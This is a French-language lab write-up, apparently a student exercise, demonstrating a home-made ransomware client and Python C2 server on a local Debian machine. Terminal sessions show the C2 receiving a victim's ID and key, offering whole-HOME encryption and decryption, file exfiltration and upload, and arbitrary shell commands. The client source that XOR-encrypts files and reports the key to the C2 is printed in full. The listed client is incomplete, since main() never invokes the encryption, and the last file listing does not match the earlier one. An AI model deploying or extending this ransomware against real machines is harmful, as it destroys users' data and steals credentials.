



Lancement du serveur.

```
yassine@debian:~/Documents$ python3 c2_server.py  
[*] SERVEUR C2 PRET - En attente de connexion...
```

Il est en attente du lancement côté malware, donc on le lance côté client.

```
yassine@debian:~/Documents$ python3 ransomware_client.py
```

La connexion est enfin lancée et acceptée, on reçoit donc l'UID et la clé de la victime.

```
yassine@debian:~/Documents$ python3 c2_server.py  
[*] SERVEUR C2 PRET - En attente de connexion...  
  
[+] VICTIME CONNECTEE : UUID:26a74d52-a4bc-4aaa-9c19-9c0c1c42c3d2 | KEY:AWLQYBLMSNWBSEQD  
  
--- COMMANDES DISPONIBLES ---  
ENCRYPT / DECRYPT : Cible tout le HOME de l'utilisateur  
GET <chemin>      : Exfiltrer un fichier  
SEND <chemin>     : Infiltrer un fichier  
<cmd systeme>    : ls, whoami, pwd, etc.  
exit              : Fermer la session  
-----  
C2 >> 
```

On lance ainsi un test de chiffrement.

```
C2 >> ENCRYPT

[CLIENT]:
Termine (30 fichiers). Log: ~/.system_trace.log

C2 >> █
```

On essaie d'accéder au fichier api_keys.env, et on voit bien qu'il est chiffré, et que son contenu est illisible.

```
yassine@debian:~/Documents/test_attaque$ ls -lh
antivirus  Antivirus2  antivirus.gpg  api_keys.env  database_dump.sql  IPSSI-SQY  secret.txt  vpn_config.conf
yassine@debian:~/Documents/test_attaque$ cat api_keys.env

~#+      =0!2v'2#%jxee*3]

w4)/*3&023% #${}!/:;vK
/>no}tMyassine@debian:~/Documents/test_attaque$ █
```

On test maintenant avec un déchiffrement

```
C2 >> DECRYPT

[CLIENT]:
Termine (30 fichiers). Log: ~/.system_trace.log

C2 >> █
```

On voit bien qu'après le déchiffrement, le contenu du fichier est bien accessible.

```
yassine@debian:~/Documents/test_attaque$ ls -lh
total 32K
-rw-rw-r-- 1 yassine yassine 17 16 janv. 14:30 antivirus
-rw-rw-r-- 1 yassine yassine 17 16 janv. 14:30 Antivirus2
-rw-rw-r-- 1 yassine yassine 95 16 janv. 14:30 antivirus.gpg
-rw-rw-r-- 1 yassine yassine 111 16 janv. 14:31 api_keys.env
-rw-rw-r-- 1 yassine yassine 236 16 janv. 14:30 database_dump.sql
-rw-rw-r-- 1 yassine yassine 106 16 janv. 14:30 IPSSI-SQY
-rw-rw-r-- 1 yassine yassine 11 16 janv. 14:30 secret.txt
-rw-rw-r-- 1 yassine yassine 139 16 janv. 14:30 vpn_config.conf
yassine@debian:~/Documents/test_attaque$ cat api_keys.env
API_KEY_PAYMENT=pk_live_51KJhsdf9834sd
API_KEY_INTERNAL=sk_internal_88sd7fsd9
JWT_SECRET=superSecretJwtKey2025
yassine@debian:~/Documents/test_attaque$ █
```

Et là voici une petite visualisation du travail côté fichier client sur une interface de VisualStudio Code en utilisant le remote SSH.

```
1 import os, socket, subprocess, string
2 from datetime import datetime
3
4 def log_action(message):
5     log_file = os.path.expanduser("~/system_trace.log")
6     with open(log_file, "a") as log:
7         log.write(f"[{datetime.now()}] {message}\n")
8
9 def get_uid():
10     try: return open("/proc/sys/kernel/random/uuid").read().strip()
11     except: return "test-uid"
12
13 def get_key():
14     return ''.join(string.ascii_uppercase[b % 26] for b in os.urandom(16))
15
16 def crypt_files(path, key, mode="ENCRYPT"):
17     count = 0
18     exclude = {'.vscode-server', '.ssh', '.local', '.cache', '.config', '.mozilla', '.dbus', '.gvfs'}
19     log_action(f"--- DEBUT {mode} sur {path} ---")
20     for root, dirs, files in os.walk(path):
21         dirs[:] = [d for d in dirs if d not in exclude]
22         for f in files:
23             if f.endswith(".py") or f.startswith('.') or f == ".system_trace.log": continue
24             p = os.path.join(root, f)
25             if not os.path.isfile(p) or os.path.islink(p): continue
26             try:
27                 with open(p, "rb") as f_in: data = f_in.read()
28                 res = bytes([data[i] ^ key.encode()[i % len(key)] for i in range(len(data))])
29                 with open(p, "wb") as f_out: f_out.write(res)
30                 log_action(f"FILE {mode}: {p}")
31                 count += 1
32             except Exception as e:
33                 log_action(f"ERROR {mode}: {p} ({e})")
34     log_action(f"--- FIN {mode}: {count} fichiers ---")
35     return count
36
37 def main():
38     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
39     s.settimeout(1000)
40     try:
41         s.connect(("127.0.0.1", 8888))
42         key, uid = get_key(), get_uid()
43         s.send(f"{key}:{uid}\n".encode())
44
45     except:
46         pass
47
48 if __name__ == '__main__':
49     main()
```

```
yassine@debian:~/Documents/test_attaque$ cat api_keys.env
API_KEY_INTERNAL=sK_InternaL_88sd7fsd9
JWT_SECRET=superSecretJwTKey2025
yassine@debian:~/Documents/test_attaque$
```